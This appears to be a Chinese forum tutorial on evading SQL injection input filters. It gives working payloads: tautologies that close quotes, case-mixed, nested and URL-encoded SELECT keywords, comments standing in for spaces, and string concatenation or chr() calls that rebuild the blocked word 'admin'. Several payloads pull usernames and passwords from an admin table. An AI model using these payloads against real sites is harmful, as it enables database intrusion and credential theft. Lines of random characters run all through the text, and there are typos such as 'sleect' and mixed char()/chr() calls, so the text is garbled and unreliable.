SQL注入。有攻有防。知道进攻。才懂得防守.
& X1 [# t) N! _4 q& c! [ ]( J; t: f u
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。
2 E, f! A! e' p" y4 p: f
$ ? a% I3 N: S9 x# g# R Q唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
3 N, O/ U; h! b, P# b$ x$ j; H
& q6 d$ v, c& n( h1 q我们通常有以下几种技巧,去避开这些过滤。
" q ?1 v) ]# v6 A+ G4 R) F0 s% ]. E* b X! @
1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。( M9 X) q2 R5 s' e
% s* a* f1 C3 V& K5 C5 R) b1 g a* Q
A,如果注入一个数字数据字段,就不需要使用单引号。4 n! b3 f% A+ Q# H9 }6 _
' [2 S' n1 f" DB,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。, R0 S; K) i; C2 S, z) l3 j) D
- U. b" }, B; N. S- A" L0 V& o比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a
. w) ?+ m2 X+ M' `0 M6 t
3 \' j- x Y" v" J6 W Q, `; B目的其实很简单,就是把后面的单引号给闭合掉。
F3 m- A# z, o" e3 t; q4 ]4 m. M& s+ e* P5 k
C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。) [6 W3 N! z$ I& v$ r. Z
( s' P5 j2 c) M! }只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。
1 |5 w8 Q K- l" F) }0 f1 {0 N$ }; ]4 K
2,避免使用简单确认
& `$ G9 W7 A8 ?* G# \; b/ n6 C6 r; m8 F* e+ b9 G4 i
一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
# D4 A1 V4 c" T( `
) C& n3 i* H1 E& t1 ^" K+ v$ G% y这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
: X/ s5 K& B: w! j8 f' C5 V5 G3 w( a" A
A,如果select关键词被阻止或删除* J% \4 u& Q1 A/ q# X/ t2 @
% C) l% b4 S) H" S! D
我们可以输入:* r1 A. Y% U. Y) m+ B( S8 [
0 L- }1 A: O% |SeLeCt 注意大小写
A+ H0 j" m9 ]1 M( ~+ r6 n: A, p6 e* u/ ~: m4 j
selselectect 还记得ewebeditor是怎么过滤asp的么?2 ]# ^3 |. T. g" L
8 Y- e! A& Z, a/ H
%53%45%4c%45%43%54 URL编码( ^6 J* g6 P8 e: p
4 L( N( d6 r1 _; l7 E%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个254 i6 E8 h# t- r2 i( P
' g+ |' s! w% x" ?# {! z0 [3,使用SQL注释符
' ]$ C5 ~+ Z8 Z& \
* E/ g9 D E8 X7 [) F8 Y3 u" cA,使用注释来冒充注入的数据中的空格。
* [# Q1 m5 d4 T. T6 m. Z, N# S$ n- q
# H: \1 M* v; F- V1 J( f1 t, Dselect/*yesu*/username,password/*yesu*/from/*yesu*/admin4 t( \9 @" [7 D9 M, B/ T7 w
9 N0 y1 A- O# h/ R
/*yesu*/来冒充空格
6 Z! d- M5 b% R0 |. U4 ~8 \, J, n. \. y" n9 p! t; f, i3 z1 @7 ^, ^
B,使用注释来避开某些注入的确认过滤。
5 q! f0 E) a9 Q
% P4 M0 ?1 A4 b* h3 r* C$ WSEL/*yesu*/ECT username,password fr/*yesu*/om admin5 ?6 D: W! J# n: q% w; n, `& [
* N2 ]4 q- _, ]% [( N
4,处理被阻止的字符串
% m% l0 `8 P* ]8 a$ _" p6 z" C' j: W; K2 P0 H& [0 _/ O; T
比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。7 T. K! c0 C: _% `7 q
& A, ]7 p, e9 s3 I8 N& o, p8 A* M我们可以这样
7 s1 [* n; f$ v& w2 Z+ V/ |2 Z) [" w1 d+ a( E l0 g: ^
A,oracle数据库: ‘adm’||’in’# v; b8 ?' m1 L L) L
: q+ B% X- N( C
B,MSSQL数据库: ‘adm’+’in’4 R3 f7 |- Q( v6 j1 [/ j
$ Q' U5 s4 P; \; o- m/ O% B7 ~* n
C,MYSQL数据库: concat (‘adm’,’in’)
9 }3 }* Q, |3 m: [3 }( u/ O6 T
- M7 r4 X" m/ C \, eD,oracle中如果单引号被阻止了,还可以用chr函数
7 @. u3 C. l0 n5 Z( _# b) l3 l/ z; _: o. F- n% [3 Z: Q; p4 t5 y
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)
! s# a/ l% S7 m
7 |' A2 \; M6 V+ Q还有其他方法。正在收集中.
6 h9 O0 r$ n( y. t
! B8 Y. `- R. y |